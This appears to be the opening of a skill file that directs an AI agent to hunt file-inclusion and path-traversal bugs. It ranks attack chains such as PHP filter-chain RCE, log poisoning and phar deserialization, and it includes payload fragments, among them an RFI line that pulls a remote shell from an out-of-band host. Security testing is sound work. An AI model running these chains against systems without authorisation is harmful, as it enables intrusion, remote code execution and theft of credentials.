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hunt-lfi

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Hunt Local File Inclusion (LFI), Remote File Inclusion (RFI), and Path Traversal — /etc/passwd read, log poisoning → RCE, PHP filter-chain RCE (no upload needed), php:// / data:// / zip:// / phar:// wrappers, RFI via allow_url_include, directory traversal read/write/delete. Covers OOB/blind LFI confirmation and false-positive discipline. Use when hunting file-include or path-traversal bugs on any target.

knowledge/Claude-BugHunter/skills/hunt-lfi/SKILL.md

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# HUNT-LFI — Local / Remote File Inclusion & Path Traversal

## Crown Jewel Targets

LFI that reaches code execution is Critical. Pure file-read is High when it exposes secrets (`.env`, `wp-config.php`, private keys, cloud creds), Medium when it only reads non-sensitive files.

**Highest-value chains (in rough order of reliability in 2026):**
- **PHP filter-chain → RCE** — the modern default. A bare `php://filter` *file-read* primitive is upgraded to RCE with **no upload endpoint and no writable file** by chaining `iconv` conversions to forge an arbitrary PHP payload in-memory (Synacktiv, 2022). See the dedicated section below. This is the single most impactful thing to try and the most-missed.
- **Log poisoning → RCE** — inject PHP into an Apache/Nginx log (User-Agent / URL path), then include the log. Increasingly blocked by `open_basedir` and unreadable log perms, so verify the log is *readable* first.
- **PHP wrappers → source disclosure** — `php://filter/convert.base64-encode/resource=index.php` leaks source; read source to find more LFI sinks, secrets, and the include base path.
- **RFI → RCE** — when `allow_url_include=On`, `?file=http://OOB/shell.txt` pulls and executes remote code. Rare on modern configs but trivially Critical when present.
- **phar:// deserialization** — a crafted PHAR + any unserialize-on-metadata sink → object-injection RCE.
- **zip:// / data:// chains** and **session/upload poisoning** when filters block wrappers.